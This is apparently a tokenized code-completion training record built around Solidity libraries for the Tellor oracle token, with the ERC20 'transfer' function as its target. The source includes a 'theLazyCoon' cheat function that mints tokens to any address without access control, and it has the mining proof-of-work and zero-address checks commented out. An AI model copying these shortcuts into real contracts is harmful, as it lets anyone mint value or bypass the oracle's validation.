-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; /** * @title Tellor Transfer * @dev Contains the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol * reference this library for function's logic. */ library RefTellorTransfer { using RefSafeMath for uint256; event Approval(address indexed _owner, address indexed _spender, uint256 _value); //ERC20 Approval event event Transfer(address indexed _from, address indexed _to, uint256 _value); //ERC20 Transfer Event /*Functions*/ /** * @dev Allows for a transfer of tokens to _to * @param _to The address to send tokens to * @param _amount The amount of tokens to send * @return true if transfer is successful */ function transfer(RefTellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) { doTransfer(self, msg.sender, _to, _amount); return true; } /** * @notice Send _amount tokens to _to from _from on the condition it * is approved by _from * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom(RefTellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) { require(self.allowed[_from][msg.sender] >= _amount, "Allowance is wrong"); self.allowed[_from][msg.sender] -= _amount; doTransfer(self, _from, _to, _amount); return true; } /** * @dev This function approves a _spender an _amount of tokens to use * @param _spender address * @param _amount amount the spender is being approved for * @return true if spender appproved successfully */ function approve(RefTellorStorage.TellorStorageStruct storage self, address _spender, uint256 _amount) public returns (bool) { require(_spender != address(0), "Spender is 0-address"); require(self.allowed[msg.sender][_spender] == 0 || _amount == 0, "Spender is already approved"); self.allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @param _user address of party with the balance * @param _spender address of spender of parties said balance * @return Returns the remaining allowance of tokens granted to the _spender from the _user */ function allowance(RefTellorStorage.TellorStorageStruct storage self, address _user, address _spender) public view returns (uint256) { return self.allowed[_user][_spender]; } /** * @dev Completes POWO transfers by updating the balances on the current block number * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(RefTellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public { //require(_amount != 0, "Tried to send non-positive amount"); //require(_to != address(0), "Receiver is 0 address"); require(allowedToTrade(self, _from, _amount), "Should have sufficient balance to trade"); uint256 previousBalance = balanceOf(self, _from); updateBalanceAtNow(self.balances[_from], previousBalance - _amount); previousBalance = balanceOf(self,_to); require(previousBalance + _amount >= previousBalance, "Overflow happened"); // Check for overflow updateBalanceAtNow(self.balances[_to], previousBalance + _amount); emit Transfer(_from, _to, _amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(RefTellorStorage.TellorStorageStruct storage self, address _user) public view returns (uint256) { return balanceOfAt(self, _user, block.number); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber specified */ function balanceOfAt(RefTellorStorage.TellorStorageStruct storage self, address _user, uint256 _blockNumber) public view returns (uint256) { RefTellorStorage.Checkpoint[] storage checkpoints = self.balances[_user]; if (checkpoints.length == 0|| checkpoints[0].fromBlock > _blockNumber) { return 0; } else { if (_blockNumber >= checkpoints[checkpoints.length - 1].fromBlock) return checkpoints[checkpoints.length - 1].value; // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length - 2; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock ==_blockNumber){ return checkpoints[mid].value; }else if(checkpoints[mid].fromBlock < _blockNumber) { min = mid; } else { max = mid - 1; } } return checkpoints[min].value; } } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * and removing the staked amount from their balance if they are staked * @param _user address of user * @param _amount to check if the user can spend * @return true if they are allowed to spend the amount being checked */ function allowedToTrade(RefTellorStorage.TellorStorageStruct storage self, address _user, uint256 _amount) public view returns (bool) { if (self.stakerDetails[_user].currentStatus != 0 && self.stakerDetails[_user].currentStatus < 5) { //Subtracts the stakeAmount from balance if the _user is staked if (balanceOf(self, _user)- self.uintVars[keccak256("stakeAmount")] >= _amount) { return true; } return false; } return (balanceOf(self, _user) >= _amount); } /** * @dev Updates balance for from and to on the current block number via doTransfer * @param checkpoints gets the mapping for the balances[owner] * @param _value is the new balance */ function updateBalanceAtNow(RefTellorStorage.Checkpoint[] storage checkpoints, uint256 _value) public { if (checkpoints.length == 0 || checkpoints[checkpoints.length - 1].fromBlock != block.number) { checkpoints.push(RefTellorStorage.Checkpoint({ fromBlock : uint128(block.number), value : uint128(_value) })); } else { RefTellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } } /** * itle Tellor Stake * @dev Contains the methods related to miners staking and unstaking. Tellor.sol * references this library for function's logic. */ library RefTellorStake { event NewStake(address indexed _sender); //Emits upon new staker event StakeWithdrawn(address indexed _sender); //Emits when a staker is now no longer staked event StakeWithdrawRequested(address indexed _sender); //Emits when a staker begins the 7 day withdraw period /*Functions*/ /** * @dev Getter function for the top 5 requests with highest payouts. This function is used within the getNewVariablesOnDeck function * @return uint256[5] is an array with the top 5(highest payout) _requestIds at the time the function is called */ function getTopRequestIDs(RefTellorStorage.TellorStorageStruct storage self) internal view returns (uint256[5] memory _requestIds) { uint256[5] memory _max; uint256[5] memory _index; (_max, _index) = RefUtilities.getMax5(self.requestQ); for(uint i=0;i<5;i++){ if(_max[i] != 0){ _requestIds[i] = self.requestIdByRequestQIndex[_index[i]]; } else{ _requestIds[i] = self.currentMiners[4-i].value; } } } } pragma solidity ^0.5.16; //Slightly modified SafeMath library - includes a min and max function, removes useless div function library RefSafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a + b; assert(c >= a); } else { c = a + b; assert(c <= a); } } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } function max(int256 a, int256 b) internal pure returns (uint256) { return a > b ? uint256(a) : uint256(b); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a - b; assert(c <= a); } else { c = a - b; assert(c >= a); } } } pragma solidity ^0.5.0; /** * @title Tellor Oracle Storage Library * @dev Contains all the variables/structs used by Tellor */ library RefTellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint256 value; address miner; } struct Dispute { bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int256 tally; //current tally of votes for - against measure bool executed; //is the dispute settled bool disputeVotePassed; //did the vote pass? bool isPropFork; //true for fork proposal NEW address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes address proposedForkAddress; //new fork address (if fork proposal) mapping(bytes32 => uint256) disputeUintVars; //Each of the variables below is saved in the mapping disputeUintVars for each disputeID //e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")] //These are the variables saved in this mapping: // uint keccak256("requestId");//apiID of disputed value // uint keccak256("timestamp");//timestamp of distputed value // uint keccak256("value"); //the value being disputed // uint keccak256("minExecutionDate");//7 days from when dispute initialized // uint keccak256("numberOfVotes");//the number of parties who have voted on the measure // uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from // uint keccak256("minerSlot"); //index in dispute array // uint keccak256("fee"); //fee paid corresponding to dispute mapping(address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute 4=ReadyForUnlocking 5=Unlocked uint256 startDate; //stake start date } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock; // fromBlock is the block number that the value was generated from uint128 value; // value is the amount of tokens at a specific block number } struct Request { string queryString; //id to string api string dataSymbol; //short name for api request bytes32 queryHash; //hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity)) uint256[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint256) apiUintVars; //Each of the variables below is saved in the mapping apiUintVars for each api request //e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")] //These are the variables saved in this mapping: // uint keccak256("granularity"); //multiplier for miners // uint keccak256("requestQPosition"); //index in requestQ // uint keccak256("totalTip");//bonus portion of payout mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number //This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint256 => uint256) finalValues; mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized. mapping(uint256 => address[5]) minersByValue; mapping(uint256 => uint256[5]) valuesByTimestamp; } struct TellorStorageStruct { bytes32 currentChallenge; //current challenge to be solved uint256[51] requestQ; //uint50 array of the top50 requests by payment amount uint256[] newValueTimestamps; //array of all timestamps requested Details[5] currentMiners; //This struct is for organizing the five mined values to find the median mapping(bytes32 => address) addressVars; //Address fields in the Tellor contract are saved the addressVars mapping //e.g. addressVars[keccak256("tellorContract")] = address //These are the variables saved in this mapping: // address keccak256("tellorContract");//Tellor address // address keccak256("_owner");//Tellor Owner address // address keccak256("_deity");//Tellor Owner that can do things at will // address keccak256("pending_owner"); // The proposed new owner mapping(bytes32 => uint256) uintVars; //uint fields in the Tellor contract are saved the uintVars mapping //e.g. uintVars[keccak256("decimals")] = uint //These are the variables saved in this mapping: // keccak256("decimals"); //18 decimal standard ERC20 // keccak256("disputeFee");//cost to dispute a mined value // keccak256("disputeCount");//totalHistoricalDisputes // keccak256("total_supply"); //total_supply of the token in circulation // keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?) // keccak256("stakerCount"); //number of parties currently staked // keccak256("timeOfLastNewValue"); // time of last challenge solved // keccak256("difficulty"); // Difficulty of current block // keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool // keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id // keccak256("requestCount"); // total number of requests through the system // keccak256("slotProgress");//Number of miners who have mined this value so far // keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value // keccak256("timeTarget"); //The time between blocks (mined Oracle values) // keccak256("_tblock"); // // keccak256("runningTips"); // VAriable to track running tips // keccak256("currentReward"); // The current reward // keccak256("devShare"); // The amount directed towards th devShare // keccak256("currentTotalTips"); // //This is a boolean that tells you if a given challenge has been completed by a given miner mapping(bytes32 => mapping(address => bool)) minersByChallenge; mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint256 => Dispute) disputesById; //disputeId=> Dispute details mapping(address => Checkpoint[]) balances; //balances of a party given blocks mapping(address => mapping(address => uint256)) allowed; //allowance for a given party and approver mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info mapping(uint256 => Request) requestDetails; //mapping of apiID to details mapping(bytes32 => uint256) requestIdByQueryHash; // api bytes32 gets an id = to count of requests array mapping(bytes32 => uint256) disputeIdByDisputeHash; //maps a hash to an ID for each dispute } } pragma solidity ^0.5.16; //Functions for retrieving min and Max in 51 length array (requestQ) //Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol library RefUtilities { /** * @dev Returns the max value in an array. * The zero position here is ignored. It's because * there's no null in solidity and we map each address * to an index in this array. So when we get 51 parties, * and one person is kicked out of the top 50, we * assign them a 0, and when you get mined and pulled * out of the top 50, also a 0. So then lot's of parties * will have zero as the index so we made the array run * from 1-51 with zero as nothing. * @param data is the array to calculate max from * @return max amount and its index within the array */ function getMax(uint256[51] memory data) internal pure returns (uint256 max, uint256 maxIndex) { maxIndex = 1; max = data[maxIndex]; for (uint256 i = 2; i < data.length; i++) { if (data[i] > max) { max = data[i]; maxIndex = i; } } } /** * @dev Returns the minimum value in an array. * @param data is the array to calculate min from * @return min amount and its index within the array */ function getMin(uint256[51] memory data) internal pure returns (uint256 min, uint256 minIndex) { minIndex = data.length - 1; min = data[minIndex]; for (uint256 i = data.length - 2; i > 0; i--) { if (data[i] < min) { min = data[i]; minIndex = i; } } } /** * @dev Returns the 5 requestsId's with the top payouts in an array. * @param data is the array to get the top 5 from * @return to 5 max amounts and their respective index within the array */ function getMax5(uint256[51] memory data) internal pure returns (uint256[5] memory max, uint256[5] memory maxIndex) { uint256 min5 = data[1]; uint256 minI = 1; for(uint256 j=0;j<5;j++){ max[j]= data[j+1];//max[0]=data[1] maxIndex[j] = j+1;//maxIndex[0]= 1 if(max[j] < min5){ min5 = max[j]; minI = j; } } for(uint256 i = 5; i < data.length; i++) { if (data[i] > min5) { max[minI] = data[i]; maxIndex[minI] = i; min5 = data[i]; for(uint256 j=0;j<5;j++){ if(max[j] < min5){ min5 = max[j]; minI = j; } } } } } } /** * @title Tellor Oracle System Library * @dev Contains the functions' logic for the Tellor contract where miners can submit the proof of work * along with the value and smart contracts can requestData and tip miners. */ library RefTellorLibrary { using RefSafeMath for uint256; event TipAdded(address indexed _sender, uint256 indexed _requestId, uint256 _tip, uint256 _totalTips); //emits when a new challenge is created (either on mined block or when a new request is pushed forward on waiting system) event NewChallenge( bytes32 indexed _currentChallenge, uint256[5] _currentRequestId, uint256 _difficulty, uint256 _totalTips ); //Emits upon a successful Mine, indicates the blocktime at point of the mine and the value mined event NewValue(uint256[5] _requestId, uint256 _time, uint256[5] _value, uint256 _totalTips, bytes32 indexed _currentChallenge); //Emits upon each mine (5 total) and shows the miner, nonce, and value submitted event NonceSubmitted(address indexed _miner, string _nonce, uint256[5] _requestId, uint256[5] _value, bytes32 indexed _currentChallenge); event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipProposed(address indexed _previousOwner, address indexed _newOwner); /*Functions*/ /** * @dev Add tip to Request value from oracle * @param _requestId being requested to be mined * @param _tip amount the requester is willing to pay to be get on queue. Miners * mine the onDeckQueryHash, or the api with the highest payout pool */ function addTip(RefTellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) public { require(_requestId != 0, "RequestId is 0"); require(_tip != 0, "Tip should be greater than 0"); uint256 _count =self.uintVars[keccak256("requestCount")] + 1; if(_requestId == _count){ self.uintVars[keccak256("requestCount")] = _count; } else{ require(_requestId < _count, "RequestId is not less than count"); } RefTellorTransfer.doTransfer(self, msg.sender, address(this), _tip); //Update the information for the request that should be mined next based on the tip submitted updateOnDeck(self, _requestId, _tip); emit TipAdded(msg.sender, _requestId, _tip, self.requestDetails[_requestId].apiUintVars[keccak256("totalTip")]); } /** * @dev This function is called by submitMiningSolution and adjusts the difficulty, sorts and stores the first * 5 values received, pays the miners, the dev share and assigns a new challenge * @param _nonce or solution for the PoW for the requestId * @param _requestId for the current request being mined */ function newBlock(RefTellorStorage.TellorStorageStruct storage self, string memory _nonce, uint256[5] memory _requestId) public { RefTellorStorage.Request storage _tblock = self.requestDetails[self.uintVars[keccak256("_tblock")]]; // If the difference between the timeTarget and how long it takes to solve the challenge this updates the challenge //difficulty up or donw by the difference between the target time and how long it took to solve the previous challenge //otherwise it sets it to 1 int256 _change = int256(RefSafeMath.min(1200, (now - self.uintVars[keccak256("timeOfLastNewValue")]))); int256 _diff = int256(self.uintVars[keccak256("difficulty")]); _change = (_diff * (int256(self.uintVars[keccak256("timeTarget")]) - _change)) / 4000; if (_change == 0) { _change = 1; } self.uintVars[keccak256("difficulty")] = uint256(RefSafeMath.max(_diff + _change,1)); //Sets time of value submission rounded to 1 minute uint256 _timeOfLastNewValue = now - (now % 1 minutes); self.uintVars[keccak256("timeOfLastNewValue")] = _timeOfLastNewValue; uint[5] memory a; for (uint k = 0; k < 5; k++) { a = _tblock.valuesByTimestamp[k]; address[5] memory b = _tblock.minersByValue[1]; for (uint i = 1; i < 5; i++) { uint256 temp = a[i]; address temp2 = b[i]; uint256 j = i; while (j > 0 && temp < a[j - 1]) { a[j] = a[j - 1]; b[j] = b[j - 1]; j--; } if (j < i) { a[j] = temp; b[j] = temp2; } } RefTellorStorage.Request storage _request = self.requestDetails[_requestId[k]]; //Save the official(finalValue), timestamp of it, 5 miners and their submitted values for it, and its block number _request.finalValues[_timeOfLastNewValue] = a[2]; _request.requestTimestamps.push(_timeOfLastNewValue); //these are miners by timestamp _request.minersByValue[_timeOfLastNewValue] = [b[0], b[1], b[2], b[3], b[4]]; _request.valuesByTimestamp[_timeOfLastNewValue] = [a[0],a[1],a[2],a[3],a[4]]; _request.minedBlockNum[_timeOfLastNewValue] = block.number; _request.apiUintVars[keccak256("totalTip")] = 0; } emit NewValue( _requestId, _timeOfLastNewValue, a, self.uintVars[keccak256("runningTips")], self.currentChallenge ); //map the timeOfLastValue to the requestId that was just mined self.requestIdByTimestamp[_timeOfLastNewValue] = _requestId[0]; if (self.uintVars[keccak256("currentReward")] > 1e18) { //These number represent the inflation adjustement that started in 03/2019 self.uintVars[keccak256("currentReward")] = self.uintVars[keccak256("currentReward")] - self.uintVars[keccak256("currentReward")] * 15306316590563/1e18; self.uintVars[keccak256("devShare")] = self.uintVars[keccak256("currentReward")] * 50/100; } else { self.uintVars[keccak256("currentReward")] = 1e18; } //update the total supply self.uintVars[keccak256("total_supply")] += self.uintVars[keccak256("devShare")] + self.uintVars[keccak256("currentReward")]*5 - (self.uintVars[keccak256("currentTotalTips")]); RefTellorTransfer.doTransfer(self, address(this), self.addressVars[keccak256("_owner")], self.uintVars[keccak256("devShare")]); //add timeOfLastValue to the newValueTimestamps array self.newValueTimestamps.push(_timeOfLastNewValue); self.uintVars[keccak256("_tblock")] ++; uint256[5] memory _topId = RefTellorStake.getTopRequestIDs(self); for(uint i = 0; i< 5;i++){ self.currentMiners[i].value = _topId[i]; self.requestQ[self.requestDetails[_topId[i]].apiUintVars[keccak256("requestQPosition")]] = 0; self.uintVars[keccak256("currentTotalTips")] += self.requestDetails[_topId[i]].apiUintVars[keccak256("totalTip")]; } //Issue the the next challenge self.currentChallenge = keccak256(abi.encode(_nonce, self.currentChallenge, blockhash(block.number - 1))); // Save hash for next proof emit NewChallenge( self.currentChallenge, _topId, self.uintVars[keccak256("difficulty")], self.uintVars[keccak256("currentTotalTips")] ); } /** * @dev Proof of work is called by the miner when they submit the solution (proof of work and value) * @param _nonce uint submitted by miner * @param _requestId is the array of the 5 PSR's being mined * @param _value is an array of 5 values */ function submitMiningSolution(RefTellorStorage.TellorStorageStruct storage self, string memory _nonce,uint256[5] memory _requestId, uint256[5] memory _value) public { //require(self.stakerDetails[msg.sender].currentStatus == 1, "Miner status is not staker"); for(uint i=0;i<5;i++){ require(_requestId[i] >=0); //require(_requestId[i] == self.currentMiners[i].value,"Request ID is wrong"); } RefTellorStorage.Request storage _tblock = self.requestDetails[self.uintVars[keccak256("_tblock")]]; //Saving the challenge information as unique by using the msg.sender // require(uint256( // sha256(abi.encodePacked(ripemd160(abi.encodePacked(keccak256(abi.encodePacked(self.currentChallenge, msg.sender, _nonce)))))) // ) % // self.uintVars[keccak256("difficulty")] == 0 // || (now - (now % 1 minutes)) - self.uintVars[keccak256("timeOfLastNewValue")] >= 15 minutes, // "Incorrect nonce for current challenge" // ); require(now - self.uintVars[keccak256(abi.encode(msg.sender))] > 15 minutes, "Miner can only win rewards once per fifteen minutes"); //Make sure the miner does not submit a value more than once require(self.minersByChallenge[self.currentChallenge][msg.sender] == false, "Miner already submitted the value"); //require the miner did not receive awards in the last hour self.uintVars[keccak256(abi.encode(msg.sender))] = now; if(self.uintVars[keccak256("slotProgress")] == 0){ self.uintVars[keccak256("runningTips")] = self.uintVars[keccak256("currentTotalTips")]; } uint _extraTip = (self.uintVars[keccak256("currentTotalTips")]-self.uintVars[keccak256("runningTips")])/(5-self.uintVars[keccak256("slotProgress")]); RefTellorTransfer.doTransfer(self, address(this), msg.sender, self.uintVars[keccak256("currentReward")] + self.uintVars[keccak256("runningTips")] / 2 / 5 + _extraTip); self.uintVars[keccak256("currentTotalTips")] -= _extraTip; //Save the miner and value received _tblock.minersByValue[1][self.uintVars[keccak256("slotProgress")]]= msg.sender; //this will fill the currentMiners array for (uint j = 0; j < 5; j++) { _tblock.valuesByTimestamp[j][self.uintVars[keccak256("slotProgress")]] = _value[j]; } self.uintVars[keccak256("slotProgress")]++; //Update the miner status to true once they submit a value so they don't submit more than once self.minersByChallenge[self.currentChallenge][msg.sender] = true; emit NonceSubmitted(msg.sender, _nonce, _requestId, _value, self.currentChallenge); if (self.uintVars[keccak256("slotProgress")] == 5) { newBlock(self, _nonce, _requestId); self.uintVars[keccak256("slotProgress")] = 0; } } function updateOnDeck(RefTellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) public { RefTellorStorage.Request storage _request = self.requestDetails[_requestId]; _request.apiUintVars[keccak256("totalTip")] = _request.apiUintVars[keccak256("totalTip")].add(_tip); if(self.currentMiners[0].value == _requestId || self.currentMiners[1].value== _requestId ||self.currentMiners[2].value == _requestId||self.currentMiners[3].value== _requestId || self.currentMiners[4].value== _requestId ){ self.uintVars[keccak256("currentTotalTips")] += _tip; } else { //if the request is not part of the requestQ[51] array //then add to the requestQ[51] only if the _payout/tip is greater than the minimum(tip) in the requestQ[51] array if (_request.apiUintVars[keccak256("requestQPosition")] == 0) { uint256 _min; uint256 _index; (_min, _index) = RefUtilities.getMin(self.requestQ); //we have to zero out the oldOne //if the _payout is greater than the current minimum payout in the requestQ[51] or if the minimum is zero //then add it to the requestQ array aand map its index information to the requestId and the apiUintvars if (_request.apiUintVars[keccak256("totalTip")] > _min || _min == 0) { self.requestQ[_index] = _request.apiUintVars[keccak256("totalTip")]; self.requestDetails[self.requestIdByRequestQIndex[_index]].apiUintVars[keccak256("requestQPosition")] = 0; self.requestIdByRequestQIndex[_index] = _requestId; _request.apiUintVars[keccak256("requestQPosition")] = _index; } // else if the requestid is part of the requestQ[51] then update the tip for it } else{ self.requestQ[_request.apiUintVars[keccak256("requestQPosition")]] += _tip; } } } /**********************CHEAT Functions for Testing******************************/ /**********************CHEAT Functions for Testing******************************/ /**********************CHEAT Functions for Testing--No Nonce******************************/ // /*This is a cheat for demo purposes, will delete upon actual launch*/ function theLazyCoon(RefTellorStorage.TellorStorageStruct storage self,address _address, uint _amount) public { self.uintVars[keccak256("total_supply")] += _amount; RefTellorTransfer.updateBalanceAtNow(self.balances[_address],_amount); } }
Functions*/* @dev Allows for a transfer of tokens to _to @param _to The address to send tokens to @param _amount The amount of tokens to send @return true if transfer is successful/
function transfer(RefTellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) { doTransfer(self, msg.sender, _to, _amount); return true; }
14,105,859
[ 1, 4625, 348, 7953, 560, 30, 15486, 5549, 14, 632, 5206, 25619, 364, 279, 7412, 434, 2430, 358, 389, 869, 632, 891, 389, 869, 1021, 1758, 358, 1366, 2430, 358, 632, 891, 389, 8949, 1021, 3844, 434, 2430, 358, 1366, 632, 2463, 638, 309, 7412, 353, 6873, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 1957, 21009, 280, 3245, 18, 21009, 280, 3245, 3823, 2502, 365, 16, 1758, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 741, 5912, 12, 2890, 16, 1234, 18, 15330, 16, 389, 869, 16, 389, 8949, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 